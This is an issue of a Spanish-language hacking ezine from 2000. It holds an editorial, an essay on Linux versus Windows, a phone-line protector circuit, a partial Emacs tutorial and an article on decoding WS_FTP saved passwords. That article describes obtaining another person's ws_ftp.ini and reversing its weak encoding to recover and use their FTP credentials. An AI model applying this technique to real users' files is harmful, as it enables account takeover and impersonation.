
                          


                    A~o II - Numero 10 - Julio del 2000
  ...                                                                  ...
    ....   yyysvssyyy    yyyyssssyyyv  yyyyssssyyyv  yyyyssssyyyv   ....
       ... |lS$A  |lS$$  """  yy lS$A  $$$     lS$A  """  yy lS$A ...
           :|lSR  :|lS$  yyyyssss|lSR  """     |lSR  yyyyssss|lSR
   ::::::: :||lF$$$Sl||  :|lS yy :|lF  ::|lS$$$Sl|F  :|lS yy :|lF ::::::
           :::|l  :::|l  ::|l $$ ::|l  ::|l     ...  ::|l $$ ::|l      
       ... ::::|  ::::|  :::| $$ :::|  :::|     :::  :::| $$ :::| ...     
    ....   .::::  .::::  .:::....::::  .:::::::::::  .:::....::::   ....
  ...                                                                  ...
                    [   http://www.raza-mexicana.org   ]
        

                    El Pecado es el Milagro del Infierno




                                                                                    
 "Es inviolable la libertad de escribir y publicar escritos sobre cualquier
 materia. Ninguna ley ni autoridad puede establecer previa censura, ni exigir
 fianza a los autores..."
                            --- Constitucion Politica de los
                                  Estados Unidos Mexicanos

 ADVERTENCIA:...............................................................
 Raza Mexicana es una revista electronica que trata sobre temas relacionados
 con la informatica en general, computacion subterranea, hacking, cracking,   
 telefonia y cualquier tema que tenga que ver con la tecnologia. 

 Esta revista es solo una publicacion que se basa en el derecho de libertad
 de expresion del territorio mexicano, ni los autores de los respectivos
 articulos aqui expuestos, ni el editor, se hacen responsables de la
 informacion que reflejan ni del mal uso de la misma. Los articulos incluidos
 son propiedad de sus respectivos escritores.

 No se deje al alcance de los ni~os, puede contener piezas pequeas,
 dejese en un lugar fresco, el abuso de este producto puede ser nocivo para
 la salud. Alimentate sanamente, come frutas y verduras =PpPPp. 
 ...........................................................................

 -[ GRUPO OFICIAL  ]---------------------------[ R4Za m3Xi[N HkR$ TM ]
                    

             (    alt3kx_H3z  )--> (alt3kx_h3z@raza-mexicana.org)
             (    DeadSector  )--> (deadsector@raza-mexicana.org)
             (    dr_fdisk^   )--> (dr_fdisk@raza-mexicana.org)
             (    Nahual      )--> (nahual@raza-mexicana.org)
             (    Fatal       )--> (fatal@raza-mexicana.org)
             (    Yield       )--> (yield@raza-mexicana.org)
             (    Yo_Soy      )--> (yo_soy@raza-mexicana.org)
             (    Vlad        )--> (vlad@raza-mexicana.org)


        Esta revista se basa en el derecho de libertad de expresion
  ------------------------------------------------------------------------
  Disponible en:                      ||   Distribucion:
  http://www.raza-mexicana.org        ||   http://www.vanhackez.com     
  E-Mail: raza-mexicana@bigfoot.com   ||   http://www.ezkracho.com.ar/raza
  ----------------------------------. ||   http://www.zine-store.com.ar
  Producto Mexicano - Made in Mexico '------------------------------------


                 T A B L A    D E   C O N T E N I D O S

   ( 00-> Editorial ................................  ]-( Editor     )--
   ( 01-> Tutorial de Emacs ........................  ]-( Nahual     )--
   ( 02-> Analisis de Ws_ftp .......................  ]-( Yo_Soy     )--
   ( 03-> Protector Telefonico .....................  ]-( DarkSide   )--
   ( 04-> Linux 'rulz', pero... y Windows? .........  ]-( Yield      )--
   ( 05-> Seguridad en Linux/Unix ..................  ]-( Satan      )--
   ( 06-> El Mundo de los Routers Cisco ............  ]-( dr_fdisk^  )--
   ( 07-> Servicios Prodigy Web de Telmex ..........  ]-( Vlad       )--
   ( 08-> Robo de Cuentas de ICQ ...................  ]-( Stele      )--
   ( 09-> Microsoft Windows Share Passwords ........  ]-( Yo_Soy     )--
   ( 10-> Sobrepasando FIrewalls 101 ...............  ]-( 0x90       )--
   ( 11-> Anarquia: Bombas .........................  ]-( psiconauta )--
   ( 12-> Prodigy Turbo: Los Costos Escondidos .....  ]-( KUMA       )--
   ( 13-> Personal Communications Services (PCS) ...  ]-( Yo_Soy     )--
   ( 14-> Oda a una Vida ...........................  ]-( Fatal      )--
   ( 15-> Hoy 2 de Julio ...........................  ]-( Fatal      )--
   ( 16-> Contacto: Llaves PGP .....................  ]-( RMHT       )--
   ( 17-> Despedida ................................  ]-( RMHT       )--


=============================================================================
--------------------------------------------------------------------------00-
-----( Editorial )-----------------------------------------------------RM-10]
-----[ Editor ]-----------------------------------[raza-mexicana@bigfoot.com]


Hola, de nuevo estamos aqui, despues de muchos contratiempos (y han sido
varios) pero demostramos que Raza Mexicana sigue y seguira por mucho tiempo
mas. Durante largo tiempo el sitio estuvo caido, pero ahora ya todas las
secciones se encuentran activas.

Supongo que tambien se dieron cuenta de cambios en los integrantes del grupo,
algunos han decidido retirarse temporalmente. Ademas a partir de ahora la
revista sera publicada en HTML (en nuestra pagina) por lo que si alguno de
los articulos aqui expuestos contienen imagenes, la unica forma de verlos
sera remitirse a nuestro sitio -> www.raza-mexicana.org

Como siempre, aceptamos articulos para la publicacion en esta revista, solo
que ahora nos veremos un poco mas estrictos, deberan tener por lo menos una
longitud de 15 a 20 kb y de preferencia que tengan buena ortografia ;).
Los temas para los articulos pueden ser varios, desde Informatica General,
Leyes, Anarquia, Cracking, Hacking, Hardware, Electronica, Programacion, etc.

Supongo que alguno de uds vio en la television como la televisora Tv Azteca
hace referencia a los hackers como *cyber piratas*  *piratas informaticos*
y hasta *cerrajeros virtuales* XDDD. Con estas expresiones solo desmuestran
su ignorancia (o sera por lo que le paso a su pagina?), ademas hace poco en
esta misma cadena televisiva, en el programa TKE realizaron un programa donde
el tema era "Hackers" y mostraban a varios muchachos con paliacates
cubriendose la cara, con lentes y gorra para evitar ser reconocidos =P,
que por cierto solo crea mala fama del verdadero termino Hacker, pero bueno,
asi es Mexico.


=============================================================================
--------------------------------------------------------------------------01-
-----( Linux 'rulz', pero... y Windows? )------------------------------RM-10]
-----[ Yield ]--------------------------------------[yield@raza-mexicana.org]


Durante los  ultimos  dos a~os en  los que  he gozado  la fortuna  de  usar
Internet, asi como el IRC,  he notado que el crecimiento de la poblacion de
usuarios de Linux ha tenido un crecimiento sorprendente y no solo eso, sino
que ademas su fidelidad en el  uso de este Sistema Operativo,  asi como sus
equivalentes, llamese FreeBSD, Solaris, o inclusive Unix es cada dia mas
fuerte, en algunos casos son tan fanaticos que reaccionan con agresividad
ante cualquier mencion de palabras como "Windows", "Microsoft", "Office",
"mirc", etc. O sea, cualquier palabra que tenga que ver o que implique el
uso de algun programa de Microsoft Corp.

Como nota adicional y personal, soy un Lic. en Administracion (general),
desde peque~o me atrajeron los temas relacionados con la Informatica y
principalmente con la Seguridad en Sistemas de Informacion y no me refiero
al "hacking", aun no sabia siquiera de la existencia de esa palabra; en mi
trabajo soy un Administrador de Sistemas, con otras funciones variadas,
claro esta, en ningun trabajo se le asigna a una persona una sola funcion.
Tengo experiencia laborando en el area de sistemas desde aproximadamente
1995, tengo 20 a~os y creanlo o no yo tambien uso Windows.

Bien retomando el tema, el uso que le doy a Windows, en sus diferentes
versiones, NT Server, Workstation, 95/98 es de aproximadamente 18 horas al
dia, dejando solo un par de horas al uso de Linux, el cual uso principalmente
los fines de semana.

Ahora bien, por que es que uso tanto windows? Por facilidad de uso? claro que
si!, Por facilidad de configuracion? Tambien!, Por que con solo dar un par de
clicks al mouse obtengo lo que con Linux tal vez me llevaria una hora? Por
supuesto!. Imaginen si usara Linux tanto como Windows, todos, absolutamente
todos en el trabajo, en cualquier departamento, de cualquier nivel me
estarian preguntando cada 5 minutos sobre algo, nunca terminaria de
responderles, nunca terminaria de corregir los diversos problemas que existen
en la empresa, jamas terminariamos nuestros respectivos trabajos, y por que?
solo por que al Administrador de Sistemas se le ocurrio meter Linux en todas
las maquinas cuando ya todas las personas saben usar Windows.

Mi punto es el siguiente, en mis cinco a~os que llevo trabajando en el area
de computo y antes de que comenzara a pensar como Lic. en Administracion,
siempre fui de la idea de que por que, siendo que existia un producto
novedoso, tan rico en ventajas, tan completo, tan mejorado, tan actual,
por que no se me autorizaba implementarlo? por que el "Jefe" era tan cerrado
y preferia seguir con lo mismo, por que no usar este nuevo paquete de
contabilidad en vez del actual, por que no poner este Star Office en vez
de aquel Office 97 Profesional, por que no usar Linux con Gnome o KDE en vez
de usar Windows, por que preferian seguir en la misma linea? Acaso mis ideas
no eran buenas? Acaso creen que no se de lo que hablo? Ustedes que opinarian
de mi "Jefe"?

Pues ese es sin duda el sentimiento y de una persona que se desvive por las
computadoras, las nuevas tecnologias, estar a la vanguardia, etc. Pero, por
que no pensamos ahora en el punto de vista de un Gerente o de un Director
General? creo que en esto tambien puedo opinar ya que mi actual trabajo me
pide mucho de ese punto de vista.

Veamos este ejemplo:

El gerente del departamento de credito y cobranza de la Tienda de Aranceles X
le pide a su igual del area de sistemas que le mande a un tecnico por que
tiene problemas con el Office 97, el gerente de sistemas envia a un tecnico
a resolverle el problema, este tecnico es un joven que pasa toda la noche
conectado a IRC, que usa bitchX, que odia el modo grafico y que solo usa la
consola y se la pasa "hackeando" su linux, al momento de llegar a la oficina
del gerente de credito y cobranza y evaluar el problema, le sugiere el
cambiar su "asqueroso" Microsoft Office 97 por el StarOffice 5.1a de Sun
Microsystems corriendo en un RedHat 6.2 y bajo KDE. Ustedes que creen que
diria el gerente? un hombre de 40 a~os, contador, que para el, el crear una
tabla en excel es algo que tardo 6 meses en dominar aun con practica diaria.
Pues claro que les dira que no!! y no importa las razones que les den tanto
a el como a su jefe directo, ambos diran que no.

Y esto es por que ustedes no importa cuan inteligentes sean, no pueden
decirle a una persona de tal edad que cambie algo que le costo la mitad de
un a~o en dominar solo por que a ustedes no les parece usar Windows.

Imaginen el costo que eso implica, entrenamiento, comprar hardware
compatible, perdida de rendimiento en el analisis de tiempo/trabajo, y
ademas la incomodidad de las personas que ya estan acostumbradas a escribir
memorandums en Word.

Esto es solo dentro del plano "funcional" de la organizacion para la que
trabajen, ahora un ejemplo mas profundo, supongamos que ustedes solo quieren
cambiar el servidor ya existente, un Windows NT 4.0 por un FreeBSD, en esta
situacion tienen mas probabilidades de que los dejen, pero se enfrentaran a
un reto mayor, a un reto al que todos se estan enfrentando hoy dia, creanme,
todos, en cualquier empresa, por que lo he visto, el reto de hacer que Linux
o equivalentes y Windows "trabajen juntos", si, se que suena repulsivo, pero
como ya les dije, el punto de vista de un ing. en sistemas o carrera afin no
es el mismo que el punto de vista de un Licenciado en carreras como
contaduria, administracion, derecho, comunicaciones, etc, etc, etc.

Este punto es por lo que Linux no ha tenido el crecimiento que podria haber
tenido ya, si la comunidad "Linuxera" pensara en trabajar en conjunto con
Windows, tendrian mas exito de penetracion en las empresas, eso es lo que,
aunque no les guste, llevo a Microsoft Windows al estandar que es hoy, la
compatibilidad y se deletrea C-O-M-P-A-T-I-B-I-L-I-D-A-D. Ya existen muchos
proyectos que desean contribuir a que esta utopia se realice
satisfactoriamente, Wine, VMWare, WinLinux2000, Cygwin entre otros.

Algunos son para intercambiar datos entre Linux y Windows, otros para
exportar aplicaciones de una plataforma a otra, creanme, a mi me han ayudado
mucho por sus licencias GNU/GPL y a otros administradores de sistemas
tambien. Asi que si lo que realmente desean es que Linux crezca como el
gigantezco Sistema Operativo que es dejen de decir "Linux rulz, Windows sux"
y mejor digan "La interoperabilidad y el intercambio de informacion, el
aprovechamiento de los recursos de mi empresa y la optimizacion de los
mismos rulz", y eso no quiere decir que lleguen gritando "reemplazemos
windows por linux", eso quiere decir que trabajen con lo que tienen y de
ser posible lo mejoren.

Pero sobre todo, no se cierren, quitense esa mentalidad de linuxeros ultra,
por que nadie, en ningun lugar la necesita, no importa que tan genio y
elitista sea....

=============================================================================
--------------------------------------------------------------------------02-
-----( Protector Telefonico )------------------------------------------RM-10]
-----[ DarkSide ]--------------------------------------[darkside@forward.com]

La preocupacion  cada  vez  es  mayor  por el  llamado "pirateado" de  los
telefonos, Como evitar que nuestras conversaciones sean escuchadas en una
extension cunando no deseamos eso?, Como saber si existe alguna extension
clandestina  en nuestra linea telefonica, caracterizando  una operacion de
espionaje?

Una manera de mantenernos seguros es evitar que funcione cualquier tipo de
extencion cuando el principal este en funcionamiento.

El circuito es  extremadamente simple, operando  como una carga artificial
que  es activada cuando ocurre  la alteracion  de la  tension de  la linea
telefonica por  el levantamiento del audiocular y en ese caso, el telefono
enmudecere (al ser conectada la conexion "pirata").

Segun  podemos ver por  el circuito principal, tenemos dos diodos zener en
este circuito. El primero  conectado  en la  base del transistor  hace que
este  transistor  conduzca y por lo tanto,  aplique  toda la tension de la
linea en el segundo, cuando la  tension fuera mayor que 18v, el transistor
no es polarizado y el aparato se comporta como circuito abierto.

El uso de los 4 diodos hace que no haya necesidad de observar la polaridad
de la conexion en la linea telefonica cuando conectamos el aparato.

El aparato es conectado en serie con la linea, de modo que al intercalarse
el conector ya tenemos esta conexion, sin problemas.
        
---[ LISTA DE MATERIALES              

  Semiconductores:
  Q1-BC547-transistor NPN                
  D1,D2,D3 y D4-1N4002-diodos de silicio 
  DZ1-3V3 x 400mW-diodes zener           
  Dz2-18V x 400mW-diodo zener            

* El Resistor R1 ( 47k? ) es opcional, pudiendo ser necesario en los casos
  en que note inestabilidad de funcionamiento.


=============================================================================
--------------------------------------------------------------------------03-
-----( Analisis de Ws_ftp )--------------------------------------------RM-10]
-----[ Yo_Soy ]------------------------------------[yo_soy@raza-mexicana.org]
        

 +-----{  Introduccion
 ----------------------

 La otra vez, me puse a pensar y divagar sobre el metodo el cual utiliza
 el Ws_ftp para guardar los passwords de los sitios en los cuales se opta
 por usar la opcion 'Save password'. 

 Hablando en terminos de seguridad, es una muy mala opcion por el riesgo
 que esto pueda traer, con el simple hecho de que alguien pudiera obtener
 el archivo en el cual los passwords son guardados, seria capaz de suplantar
 la identidad del usuario real e ingresar al sitio.

 Ws_ftp es un cliente para Windows de John A. Junod y es distribuido por la
 empresa Ipswitch (www.ipswitch). Para la creacion de este articulo se
 utilizo la version de WS_FTP32 951130.

 Al terminar el articulo seriaz capas de romper algunos passwords de manera
 manual y/o realizar un programa que crackeara los passwords.


 +-----{  Ws_ftp.ini
 --------------------

 Para empezar, el programa guarda las sesiones de ftp y los passwords en el
 archivo ws_ftp.ini, el archivo esta compuesto (generalmente) de la
 siguiente manera (esto puede variar dependiendo de la configuracion del
 sitio) :

 [Nombre_perfil]
 HOST=www.hostname.com
 UID=usuario
 PWD=password
 DIR=/directorio_inicial
 PORT=puerto
 PASVMODE=0
 COMMENT=comentario

 Asi, por ejemplo si tuvieramos la session guardada de un sitio (por ejemplo
 www.sistema.com.mx):

 [Sistema]
 HOST=www.sistema.com.mx
 UID=admin
 PWD=736A7577697267      <----- Password encriptado
 PASVMODE=0

 Supongamos que obtenemos el ws_ftp.ini de alguna persona, solamente pegamos
 la zona del sitio al cual deseamos ingresar en nuestro propio ws_ftp.ini y
 al ejecutar nuestro programa, vemos que el sitio tiene su propio perfil ;).
 Y con los passwords, solo que hay un problema, no sabemos cual es, pues en
 el cuadro de password sale sombreados con asteriscos. Facilmente podemos
 ver este password con algun programa que muestre los caracteres que han
 sido cambiados por asteriscos y tendremos el password en texto plano.

 Para los flojos, esto debe bastar, pero si tu quieres saber un poco mas
 sobre el metodo que es utilizado para guardar los passwords, sigue leyendo.


 +-----{  Rompiendo el password
 -------------------------------

 Antes que nada, debo confesar que no estoy familiarizado con ingieneria
 inversa y con la criptografia (supongo que algunos conocimientos en esta
 area podria hacer esto mas sencillo), asi que si no te gusta como lo hago,
 no sigas leyendo =P.

 El programa utiliza para cifrar los datos un metodo de sustitucion de 
 la cadena por caracteres numericos aumentando el valor de estos a medida
 que el numero de caracteres en la cadena crece.

 --[ Tabla de caracteres

    = 20     1 = 31     B = 42     S = 53     d = 64     u = 75
  ! = 21     2 = 32     C = 43     T = 54     e = 65     v = 76
  " = 22     3 = 33     D = 44     U = 55     f = 66     w = 77
  # = 23     4 = 34     E = 45     V = 56     g = 67     x = 78
  $ = 24     5 = 35     F = 46     W = 57     i = 68     y = 79
  % = 25     6 = 36     G = 47     X = 58     h = 69     z = 7A
  & = 26     7 = 37     H = 48     Y = 59     j = 6A     { = 7B
  ' = 27     8 = 38     I = 49     Z = 5A     k = 6B     | = 7C
  ( = 28     9 = 39     J = 4A     [ = 5B     l = 6C     } = 7D
  ) = 29     : = 3A     K = 4B     \ = 5C     m = 6D     ~ = 7E
  * = 2A     ; = 3B     L = 4C     ] = 5D     n = 6E     | = 7F
  + = 2B     < = 3C     M = 4D     ^ = 5E     o = 6F     
  , = 2C     = = 3D     N = 4E     _ = 5F     p = 70      = FFFFFFD1
  - = 2D     > = 3E     O = 4F     ` = 60     q = 71      = FFFFFFF1
  . = 2E     ? = 3F     P = 50     a = 61     r = 72     
  / = 2F     @ = 40     Q = 51     b = 62     s = 73     
  0 = 30     A = 41     R = 52     c = 63     t = 74     

 Bueno, creo que con eso basta. Si quieres tenerlos todos tendras que
 hacerlo tu, bueno, veamos como se guarda el password.

 +++++ CREANDO UN PASSWORD EJEMPLO:
 Supongamos que deseamos ver el password encriptado de la palabra 'raza'.


 ---> Ok, primero separamos cada caracter de la palabra de una en una:

 r a z a

 ---> Sustituimos el valor de cada letra por su correspondiente, tomando
      en cuenta los valores de la tablita de arriba:

 r = 72
 a = 61
 z = 7A 
 a = 61

 ---> Que nos da como resultado:

 72 61 7A 61

 ---> Tomando en cuenta que a partir de la segunda posicion se va aumentando
      el valor de cada caracter de 1 en 1, asi:


 C+0,C+1,C+2,C+3...  <-- Donde 'C' representa el valor de cada caracter
                         de la tabla de arriba.


 72 61 7A 61  quedaria:


 72+0  61+1  7A+2  61+3
              ^----------- 7A + 2 = 7C

 (al caracter 'A' le aumentamos 2 lo cual nos da como resultado C, asi:
  A+1 = B, A+2 = C, A+3 = D ... hasta la F)


 ---> Resolviendo nos da como resultado:

 72 62 7C 64

 ---> Quitamos los espacios y nos da como resultado:

 72627C64

 Lo cual es el password cifrado y que funciona, y si no me crees has una
 cuenta en tu sistema y pruebalo.


 +++++ OBTENIENDO EL PASSWORD A PARTIR DEL PASSWORD CIFRADO.

 Si tomamos en cuenta el aumento de cada valor, podemos obtener el password
 original, si restamos el valor a~adido. Para mayor claridad, tomemos el
 mismo ejemplo: 72627C64

 ---> Separamos el password en pares, recordando que a cada par le
      corresponde un caracter:

                      72627C64        72 62 7C 64
                      Original         Separado

 ---> Restamos de uno en uno cada valor (a partir del segundo par) asi por
      ejemplo:

 0   1  2  3  <-- Posicion que vamos a restar

 72 62 7C 64
  |  |  |  |--  (64-3) =  61
  |  |  '-----  (7C-2) =  7A
  |  '--------  (62-1) =  61
  '-----------  (72-0) =  72

 ---> Que nos da como resultado:  72 61 7A 61

 ---> Ahora si podemos obtener los caracteres reales:

 72 = r
 61 = a
 7A = z
 61 = a   

 El password es 'raza' =).

 Que tal si rompemos otro para mayor distraccion ;), tomamos el de arriba
 del ejemplo del perfil 'Sistema'

 [Sistema]
 HOST=www.sistema.com.mx
 UID=admin
 PWD=736A7577697267      <----- Password encriptado
 PASVMODE=0

 Ok, entonces separamos de dos en dos y queda: 73 6A 75 77 69 72 67
 Hacemos la resta y va:

  0  1  2  3  4  5  6  <- Posicion
 73 6A 75 77 69 72 67  <- Restamos
 73 69 73 74 65 6D 61  <- Resultado

 73 69 73 74 65 6D 61  <- Resultado que vamos a sustituir con la tablita
  s  i  s  t  e  m  a  <- Password en texto plano!!!

 Aqui hay algo que no he mencionado, los valores van como sigue:

 60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 ... 79 7A

 Si te fijas, los valores de los caracteres en lugar de ir directamente
 del 69 al 70 va 69, 6A..6F, 70..79, 7A..7E esto quiere decir que si tenemos
 '72' y le restamos '5' el resultado en lugar de ser '67' va a ser '6D',
 asi que OJO!.

 Hay otra cosa a tomar en cuenta:

 Cuando hay una "" que vale FF FF FF F1 las posiciones se sustituyen
 con los valores correspondientes a cada caracter en la posicion, excepto
 la posicion donde se encuentra la "" el cual vale FF.

 asi

     = FFFFFFF1
 nio = 6E6AFF72

 pero si la '' va al final de la cadena esto queda asi:

 aaa = 61FF63FFFFFFF4

 si separamos '61FF63FFFFFFF4' en pares podremos notar que:

              .--- 
 a    a  ____|_____        FFFFFFF4 el cual corresponde al valor de la 
 61 FF 63 FF FF FF F4       segunda  que ocupa la cuarta posicion:
                            (FFFFFFF1 +3 = FFFFFFF4)


=============================================================================
--------------------------------------------------------------------------04-
-----( Tutorial de Emacs )---------------------------------------------RM-10]
-----[ Nahual ]------------------------------------[nahual@raza-mexicana.org]


	        	  TUTORIAL DE EMACS
		-----------------------------------------
 		PARa LOs QUe ESTAMOs HASTa La MADRe De VI
		-------------pOR nAHUAL------------------
		
		
Derechos Reservados (c) 1985 Free Software Foundation, Inc
Ver condiciones, y otra informacion importante, al final de este texto
Traduccion al Espa~ol del documento original
Este es el Tutorial de Emacs v. 20.2.1


* INTRODUCCION
---------------

Nota introductoria: Ver "Haciendo este tutorial el default" hacia el final
de este texto.

Los comandos en Emacs por lo general incluyen el uso de la tecla CONTROL
(conocida a veces como Ctrl) o la tecla META (conocida a veces como Alt).
En este texto los abreviaremos de la siguiente manera:

 C-<car> significa mantener presionada la tecla CONTROL mientras
	 oprimimos un caracter <car>.
	 Por ejemplo, C-f seria: mantener presionada la tecla CONTROL y
	 oprimir la letra f.

 M-<car> significa mantener presionada la tecla META mientras oprimimos un
	 caracter <car>.
	 Si no hay una tecla META, se puede presionar y soltar la tecla
	 ESC, y despues oprimir un caracter. Nos referiremos a la tecla
	 ESC asi: <ESC>

Nota que al usar la tecla ESC, en lugar de una autentica tecla META
(como Alt), no debemos mantenerla presionada. Esto es porque la tecla ESC
es un caracter en si, no es una tecla de modificacion como CONTROL, META,
o SHIFT, por ejemplo.

Importante!

- Los caracteres ">>" al margen izquierdo indican algo que pueden probar
ustedes mismos. Por esto, para usar este tutorial al maximo es necesario
abrirlo con Emacs, no solamente darle una leida con algun otro editor.

-Para finalizar la sesion hay que usar C-x C-c (Dos caracteres, y no
necesitan soltar la tecla Ctrl).

>> Ahora, presiona C-v (Ver siguiente pantalla) para seguir con la
   pantalla siguiente (Manten presionada la tecla CONTROL mientras
   oprime la tecla v). Haz esto de ahora en adelante para ver el resto del
   documento.

Lo primero que hay que aprender es como moverse de un lugar a otro dentro
del texto. Ya sabes como desplegar la pantalla siguiente, con C-v. Para
desplegar la pantalla anterior solo es cosa de usar M-v (manten presionada
la tecla META y oprime v. Si no tienes tecla META, usa <ESC>v, oprimiendo
la tecla ESC y despues oprimiendo la tecla v).

>> Trata de usar M-v y C-v varias veces, para acostumbrarte.

En la mayoria de los teclados ahora posible reemplazar comandos CONTROL y
META que controlan el cursor, con el uso de Page Up, Page Down, Home, End,
Insert, Delete, y las flechas. Pero es recomendable usar los comandos
CONTROL y META de cualquier forma, por las razones siguientes:

1) Funcionan con cualquier tipo de terminal
2) Asi uno practica el uso de Emacs. Ademas de que usando estos comandos
   suele ser mas rapido, porque no hay que mover las manos a otra seccion
   del teclado.
3) Si uno se acostumbra a usar estos comandos, sera mas facil aprender a usar
   otros comandos, de control de cursor, mas avanzados.


* RESUMEN
----------

Los siguientes comandos son utiles para observar las paginas de un texto:

	C-v	Ver siguiente pantalla
	M-v	Ver pantalla anterior
	C-l	Posicionar el cursor al centro de la pantalla y
		redesplegar el documento alrededor del mismo.
		(Es CONTROL-L no CONTROL-1)

>> Encuentra el cursor y fijate que texto esta cerca de el. Ahora usa C-l.
   Encuentra el cursor de nuevo y observa que ese mismo texto esta en el
   centro de la pantalla.


* CONTROL BASICO DEL CURSOR
----------------------------

Es util poder moverse de pantalla en pantalla. Pero como moverse a un lugar
especifico dentro del texto?

Existen varias manera de hacer esto. La forma mas basica es usando C-p, C-b,
C-f, y C-n. Cada uno de estos comandos mueve el cursor una fila o una columna
en una direccion particular dentro de la pantalla. La tabla siguiente muestra
estos comandos y la manera en que mueven el cursor.

			   Linea Previa, C-p
				  :
				  :
      Atras, C-b .... Current cursor position .... Adelante, C-f
				  :
				  :
			   Linea Siguente, C-n

Las letras tienen un significado en particular, en ingles. P es Previous, N es
Next, B es Backward, y F es Forward.

Nota: En teclados modernos es posible, y mas facil, reemplazar C-p, C-b, C-n,
y C-f con las flechas que controlan el cursor.

>> Da algunos C-n para bajar a esta linea.

>> Mueve el cursor dentro de la linea usando C-f y despues sube usando C-p.
   Observa lo que ue sucede cuando el cursor esta enmedio de la linea y haces
   C-p

Cada linea de texto tiene un caracter que significa "Nueva-Linea". Es como
cualquier otro caracter, pero en lugar de que lo veamos, como veriamos una
letra, por ejemplo, lo que hace es separar cada linea en el texto.

>> Coloca el cursor al principio de una linea. Haz C-b y el cursor se colocara
   al final de la linea anterior, que es donde se encuentra el caracter 
   Nueva-Linea

C-f haria lo mismo, moviendose del final de una linea al principio de la linea
siguiente.

>> Usa C-b varias veces, y despues regresa al final de la lineacon C-f. Haz
C-f una vez mas para mover el cursor al principio de la linea siguiente.

Cuando te mueves mas alla de la parte de arriba o abajo de la pantalla, la
pantalla va a moverse. Esto se conoce como scrolling.  Asi podemos mover
el cursor para arriba o para abajo sin necesidad de cambiarnos 
completamente de pantalla.

>> Mueve el cursor mas alla de la pantalla con C-n, y observa lo que sucede.

Si resulta muy lento mover el cursor caracter por caracter, puedes moverlo
palabra por palabra con M-f (hacia adelante) y M-b (hacia atras).

>> Presiona M-f y M-b varias veces.

Cuando estas en medio de una palabra, M-f mueve el cursor al final de esa
palabra, Cuando estas al final de una palabra, o en el espacio en blanco 
entre dos palabras, M-f se mueve al final de la palabra siguiente. M-b funciona
igual, pero en direccion contraria.

>> Muevete usando M-f y M-b, incluyendo algunos C-f y C-b. Observa como
   funcionan M-f y M-b cuando el cursor se encuentra en diferentes lugares
   dentro y entre palabras.

Nota el paralelismo entre C-f y C-b por un lado, y M-f y M-b por otro.
Generalmente los caracteres META actuan sobre unidades de lenguaje (palabras,
oraciones, parrafos), mientras que los caracteres CONTROL actuan sobre
unidades independientes de lo que se este editando (lineas, caracteres, etc.)

Este pararelismo se ve entre lineas y oraciones: C-a y C-e se mueven entre 
el principio y el final de una linea, y M-a y M-e se mueven entre el principio
y el final de una oracion.

>> Prueba un par de C-a y despues un par de C-e
   Prueba un par de M-a y un par de M-e

Se puede ver que el uso repetido de C-a no hace nada. Pero el uso repetido de
M-a nos sigue moviendo a otras oraciones. Esto muestra que los comandos no son
completamente analogos, pero no deja de ser natural este funcionamiento.

El lugar donde se encuentra el cursor se conoce como "point" (punto). Por lo
tanto, se puede decir que el cursor indica donde "point" se encuentra dentro
del texto.

Esto es un resumen de comandos usados para controlar el cursor:

	C-f	Moverse adelante un caracter
	C-b	Moverse atras un character

	M-f	Moverse adelante una palabra
	M-b	Moverse atras una palabra

	C-n	Moverse a la linea siguiente
	C-p	Moverse a la linea anterior

	C-a	Moverse al principio de una linea
	C-e	Moverse al final de una linea

	M-a	Moverse al principio de una oracion
	M-e	Moverse al final de una oracion

>> Prueba esos comandos algunas veces, para practicar. Son los mas usados.

Otros dos comandos importantes que controlan el cursor son M-<, que mueve el
cursor al principio del documento, y M->, que mueve el cursor al final del
documento.

En la mayoria de las terminales, los simbolos ">" y "<" estan encima de la
coma, por esto es necesario oprimir tambien la tecla SHIFT. Es decir, 
M-SHIFT-<, o de lo contrario estariamos usando "M-," (M-comma).

>> Presiona M-< para ir al principio de este tutorial.
   Despues presiona C-v varias veces para regresar aqui.

>> Presiona M-> para ir al final de este tutorial.
   Despues presiona M-v varias veces para regresar aqui.

La mayoria de los comandos en Emacs aceptan un argumento numerico; para la
mayoria de los comandos, esto sirve para repetir el comando un determinado
numero de veces. Para dar este argumento al comando, hay que oprimir C-u 
seguido de los digitos deseados, antes de usar el comando.

Si se tiene una tecla META disponible, hay una alternativa: mantener 
presionada la tecla META mientras escribimos el numero. Es recomendable
aprender el metodo C-u, porque funciona en cualquier terminal.

Por ejemplo, C-u 8 C-f movera el cursor 8 caracteres hacia adelante.

>> Prueba usando C-n o C-p con un argumento mumerico, para mover el
   cursor a alguna linea cercana con un solo comando.

La mayoria de los comandos usan el argumento numerico como contador, para
repetir el comando. Pero algunos comandos lo usan de manera diferente. C-v
y M-v son algunas excepciones. El argumento hace que muevan la pantalla
completa ese numero lineas. C-u 4 C-v moveria la pantalla completa 4 lineas
para arriba.

>> Prueba C-u 8 C-v ahora.

Esto debio haber causado que la pantalla se moviera 8 lineas para arriba.
Para volver la pantalla a donde estaba, se le puede hacer C-u 8 M-v, por
ejemplo.

Si estas usando X-Window, se puede usar la barra de al lado, para examinar
el texto usando el mouse.

>> Usando el mouse, oprime alguna seccion dentro de la barra. Dependiendo
   a que altura se oprimio la barra, el texto subira o bajara a una altura
   determinada.

>> Dejando presionado el mouse sobre el boton que esta dentro de la barra,
   trata de mover el texto. La pantalla subira y bajara correspondientemente.


* CUANDO EMACS ESTA CONGELADO
------------------------------

Si Emacs deja de responder a los comandos, puede usarse el comando C-g para
pararlo. Puede usarse C-g para detener algun comando que este tardando
demasiado en ejecutarse.

Tambien es posible usar C-g para descartar un argumento numerico o cancelar
un comando que has decidido no ejecutar despues de todo.

>> Presiona C-u 100 para usar un argumento numerico de 100. Despues C-g.
   Ahora presiona C-f. El cursor solo se movera un caracter, puesto que
   el argumento numerico fue cancelado con C-g.

Si presionaste <ESC> por error, puede cancelarse con un C-g.


* COMANDOS DESHABILITADOS
--------------------------

Ciertos comandos en Emacs estan deshabilitados para que principiantes no los
usen por accidente.

Si se presiona uno de estos comandos, Emacs presenta un mensaje diciendo
que comando es, y dando la opcion de cancelar o ejecutar ese comando.

Si en verdad se desea correr ese comando, es cuestion de presionar la barra
espaciadora. En caso contrario, es cosa de oprimir la tecla "n".

>> Oprime <ESC> :  (es un comando deshabilitado)
   Oprime la letra "n" para cancelar.


* VENTANAS
-----------

Emacs puede tener varias ventanas, cada una con su propio texto. Mas adelante
explicare como usar ventanas multiples. Pero por lo pronto solo aprenderemos
como deshacernos de ventanas extras, para tener una sola. Es facil:

	C-x 1  (Una sola ventana: matar las demas)


